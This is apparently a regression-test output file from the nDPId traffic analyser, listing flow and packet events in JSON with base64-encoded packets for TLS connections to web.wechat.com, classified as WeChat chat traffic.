+00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":842,"source":"wechat.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1492167617248,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54111,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":842,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":248213,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8JpFAAEAG7qvAqAFny82XotNfAbt51Z1vAAAAAKACchAH4QAAAgQFtAQCCAoAMbv+AAAAAAEDAwc="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":843,"source":"wechat.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1492167617498,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54112,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":843,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":498933,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA82VRAAEAGO+jAqAFny82XotNgAbuDb2VoAAAAAKACchA2DwAAAgQFtAQCCAoAMbw8AAAAAAEDAwc="} +00438{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":844,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":560653,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG701\/B3aGGedWdcKASN8hYRQAAAgQFoAQCCApFrkDUADG7\/gEDAwc="} +00424{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":845,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":560732,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JpJAAEAG7rLAqAFny82XotNfAbt51Z1wwd2hh4AQAOW9kgAAAQEICgAxvExFrkDU"} +00750{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":846,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":561213,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiJpNAAEAG7cPAqAFny82XotNfAbt51Z1wwd2hh4AYAOWw1gAAAQEICgAxvExFrkDUFgMBAOkBAADlAwOiNE1rRkT0h3QOeP2KdM3vXFnz\/PaRz1MgqYNk+PneFSA+FXDDfXOJsJmV4DXnwkF2Bf3XeOpXHU2Ui84OelC\/LQAgqqrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8SkoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIOjoAHQAXABhqagABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":846,"source":"wechat.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":4,"flow_first_seen":1492167617248,"flow_last_seen":1492167617561,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54111,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00424{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":847,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":562993,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0KCxAACwGAHnLzZeiwKgBZwG7016qUxmsLakleYAQAJ8hsQAAAQEICkWuQNUAMbv9"} +00424{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":848,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":598882,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0701AAC0GOFfLzZeiwKgBZwG7011ZGE0wTWdde4AQAOqB1AAAAQEICkXSpjoAMbv9"} +00436{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":849,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":850648,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG702Andsj9g29laaASN8iTkQAAAgQFoAQCCApF0qaCADG8PAEDAwc="} +00426{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":850,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":850743,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA02VVAAEAGO+\/AqAFny82XotNgAbuDb2VpJ3bI\/oAQAOX41AAAAQEICgAxvJRF0qaC"} +00425{"flow_id":40,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":851,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":880360,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA04KNAACwGSAHLzZeiwKgBZwG701\/B3aGHedWeXoAQAHi8wQAAAQEICkWuQSQAMbxM"} +02346{"flow_id":40,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":852,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":881041,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI4KRAACwGQmzLzZeiwKgBZwG701\/B3aGHedWeXoAQAHjxgQAAAQEICkWuQSUAMbxMFgMDAF0CAABZAwNR3Yv58EXkARruI6MbXBUr2l9SVzFl0EZ4wibgNUpCviDg0to5\/h\/p7gAXT1kViG+D6U7ulXWnLBXIcoeBXEekv8AvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":852,"source":"wechat.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":6,"flow_first_seen":1492167617248,"flow_last_seen":1492167617881,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54111,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":40,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":853,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":881093,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JpRAAEAG7rDAqAFny82XotNfAbt51Z5ewd2nG4AQAPu2WQAAAQEICgAxvJxFrkEl"} +02347{"flow_id":40,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":854,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":883554,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI4KVAACwGQmvLzZeiwKgBZwG701\/B3acbedWeXoAQAHiHUwAAAQEICkWuQSUAMbxMi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQRvmOK+fTnqOModyMUfEJPqNuPEK0K9F8VanEMXLo3emZnyyByi4h3TzEoJ3NZkWfVMDbYyLdAZFt6um2TnU2csBgEBACjRh\/zk"} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":854,"source":"wechat.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":8,"flow_first_seen":1492167617248,"flow_last_seen":1492167617883,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54111,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00425{"flow_id":40,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":855,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":883571,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JpVAAEAG7q\/AqAFny82XotNfAbt51Z5ewd2sr4AQARGwrwAAAQEICgAxvJxFrkEl"} +00789{"flow_id":40,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":856,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":887240,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE44KZAACwGRvrLzZeiwKgBZwG701\/B3ayvedWeXoAYAHgafgAAAQEICkWuQSUAMbxM\/b5DNs64DIF5q7fKZyFICi9kQ\/lct9MI5GWa\/cqfyCs1GKceNnk6Y9GUvH+fsTdws9yPHuZm9fVmEyOZfvxY3PYax2LhoTy4jqGwwoONIIaUV0SEi2BY+zl9efMqYaJb\/SVywLPKEpu9E7WYPUulJS\/ghB2hjRHGdlg\/mPz7ya\/TKuviTZ\/XTu6Pj0pXNeXSk7o3HIzV0B+ECun3x707qYY1dyWOBgntihvasSdGXPEKHh89ZqUtQ4u8a3BaAUKyZ0vOCUo1w8sVLzKygft211f4ugtpGo7SyPHyY+w\/tHk64Zd3c6GhtFij\/npk7b\/UhVdDrPfRxDj\/aloWAwMABA4AAAA="} +00425{"flow_id":40,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":857,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":887251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JpZAAEAG7q7AqAFny82XotNfAbt51Z5ewd2ts4AQASivkwAAAQEICgAxvJ1FrkEl"} +00599{"flow_id":40,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":858,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167617,"pkt_ts_usec":888100,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyJpdAAEAG7i\/AqAFny82XotNfAbt51Z5ewd2ts4AYASjIAgAAAQEICgAxvJ1FrkElFgMDAEYQAABCQQTCb+94+x7+yEsJvT\/TXWoWWgsy22MZrh2xjKuNy\/msvP0PuoCQInKX2+CwiU5qltG21qqcrcKgj1mty3wX0yMgFAMDAAEBFgMDACgAAAAAAAAAANVsgur8uIlrmu9Sb648TJ8cZYStftO6nrKZyuc0vZZB"} +00497{"flow_id":40,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":859,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167618,"pkt_ts_usec":200673,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABn4KdAACwGR8rLzZeiwKgBZwG701\/B3a2zedWe3IAYAHiupgAAAQEICkWuQXQAMbydFAMDAAEBFgMDAChO6s\/g2cTvA0dLzXCkMG1q3E+8ytNH4Hcoz2xFFzQ8EaTeAjZA4mKR"} +02012{"flow_id":40,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":860,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167618,"pkt_ts_usec":201819,"pkt_caplen":1234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1234,"pkt_l4_len":1200,"pkt":"8IQvSpdgeJKcD6iOCABFAATEJphAAEAG6hzAqAFny82XotNfAbt51Z7cwd2t5oAYASj9OwAAAQEICgAxvOxFrkF0FwMDBIsAAAAAAAAAAa2HV0m6YqkqKosBh+sq+h55rxjiQ56Aq3uAujbMKTUnhXCjwZICTC448ualjKI1rhm5T2VYu+JpgvRouRhsUjk18O6iapWIljQIrpxs3ATIPQC0IbhK\/0VEDVaCC6y0r\/WQ7E1+wtrUjKdXqvNCUlFHxSDPdbjQ2kPFBQ2CqMsIy7mSR9dmk92P52iHrU\/kdsFaWeu8sJl0bWz2FT5ctx32gnyrcuYOi4NzJfr8myIRqeNeZN0hA5vX2XACMO2uIRAHa\/5SNGBnPvYMTZ+0oOnFF+biGwLfrIqYp\/b0Kh2mJJ4OaEcPEaOEUeD7kbCxz+vCnG\/KCU3qzaVUDYPM9IGVaYazN80cdl+UdyNvLz9N7cCfY4T9r4zElsr7G0H40+88WMGHWzvVyIkK2L2uA636b5GdJAXQnT9Jeefq6pEH3hWcrbzS1Mf6SgqYJJH1br22ptnn5DrIrv82Qt8x\/s9\/JGMCSqmdwSIq2OPKqPYNOhEucW272pO6qYW9Ci9yr1XiB2sdyQRwWnlkpnw1AtkeVm9OrVhaI8wLbks2YAs+mLB9jirxUwmCKm2bkOz1YTBwf8WknUkHRUfIY8rhPUIdhucExAZVEzkUJaVbTIDPCihfwaj34SzjKdmTBryDsVFWXIaFTPCtTkUqdajcahVxCSI+yDnUAuSOtVWxk0vhAwX6h6iexRX3PMP2OK3xRVJ\/CwMLwSgOekg\/V+lGn4373E+LZx7vjTNxfByiLqWBwOUKJU6X4I8hj8IuierqIi9uNeYsRBj+JQTMYJKZ9qx+o0lVCvIn7SlvUHTD6lj1jG2Y9z9PLvoAkzGdgTZAVoAAosMKDiFkXG5QKbn5VJZK+cYtxtJqYvtp+aShn9xIowNQtF2oGtlDD+AJ5KnhAwNgCJ5j5ugDHQtdIZOWjDJZgeqHPk\/N9CzGFA18+SAxjRaCiV17dIBUPFOnsl\/l\/U1ZIDJ\/c16+gBWzsWfZHUXO6KN5YihYzms0U2HirBweHI68rCq+JMwH1H2qlbc6B7DyPVEmQbPhsCbU5mkcfbuvm6KSJsiNkSuXkHZG0UJ7YTL0wXD9cvXW4h+xm6moOhg+JppU5GPNLimfsMOf2J5y4Tu71YfIpLnQgGjr\/q\/YRvvxKW8wQtR5ivIz9rig\/Z3hzjfypuOZgdRPmPPDnicgEvu4dFJYvMbNdAw\/Tx0t8j3nzRtetecQIHCbiepL\/rnpZ+DIQL1t+gV1\/LFH7xCzCuLoDhrA62z9mphQnWq3rvPDJgX0QTuZ+wkNgZzfE4exmrSGkJJyUUrewhBrpzc7GehddsH4efkIO5JRB3JW6vew6qO3TkGyE7EyFPm3bQHJ7Wvi65ptOEgDOpdjUEoAAMX13WFJs6o2NnCRK1STQ0WCDuD5ckIYxeh2U2O7UJjghl984Mzdg6JV7\/VghR17tHTlP2xMhST+s+Gs0vmXZGn30+PckVstBZZcUwkhDMx5DMydF4mTcC1VbpUNbFJfJJ9A9iE8K0rYWXoJYfKykpnGVG9ZiOSQYyC6H0KrkthKoA=="} +01032{"flow_id":40,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":861,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167618,"pkt_ts_usec":206374,"pkt_caplen":513,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":513,"pkt_l4_len":479,"pkt":"8IQvSpdgeJKcD6iOCABFAAHzJplAAEAG7OzAqAFny82XotNfAbt51aNswd2t5oAYASiMbAAAAQEICgAxvO1FrkF0FwMDAboAAAAAAAAAAt44uUgrR8S6ggxct0rsCFrK0VkP5jjpuDxIZHwGT\/LQ5oM0yKemOo3CJy+sgYabwkMKAQRzt1ziA+vU4hwmO\/h7VhdV302peVeCUzrwNxc3R+BgZwXwWmVB838IjzvBe62dlXiDkeuqa8P9QnsLOGK0ecP0DG47X81\/9p+dp0jpLEOorOEYwMgWg9wo0EU50cqVPyKg0hxw9qaa1dOVra5htlg7g67fvU8Z1ztKaE9LEmYnwxa2+AkX99swBreBcaitKRYQcoil17RFhlaySWGP8GedvbL+VyuZtqW70VHus1vb5wFJZ3avIjjNrL0fKHF+W0wIVVFZJa+\/e+lUh\/\/71rWY4CmTjYrQA8g4IdqMFzC1SocKZICpaGecTLkfp6adgogvH118clIVw9L+YGn0xucbAFmimdNpGNdBZHN4\/GYO6Sxga4RhaTM5YS+oDixeEOL+Yqz9bXszOZGcfDFIGko0qUe9zyJHwJjlStjBDLSZ+oLgyVe7syHmD0Mp83t0I+Oi4vVjYfIl8Q7VSqd7x\/JKFlT3vAUPwoZPlbFpv2tfIc3flxI7VYZnvxq5pben"} +00436{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":870,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167618,"pkt_ts_usec":976754,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG702Andsj9g29laaASN8iSHwAAAgQFoAQCCApF0qecADG8lAEDAwc="} 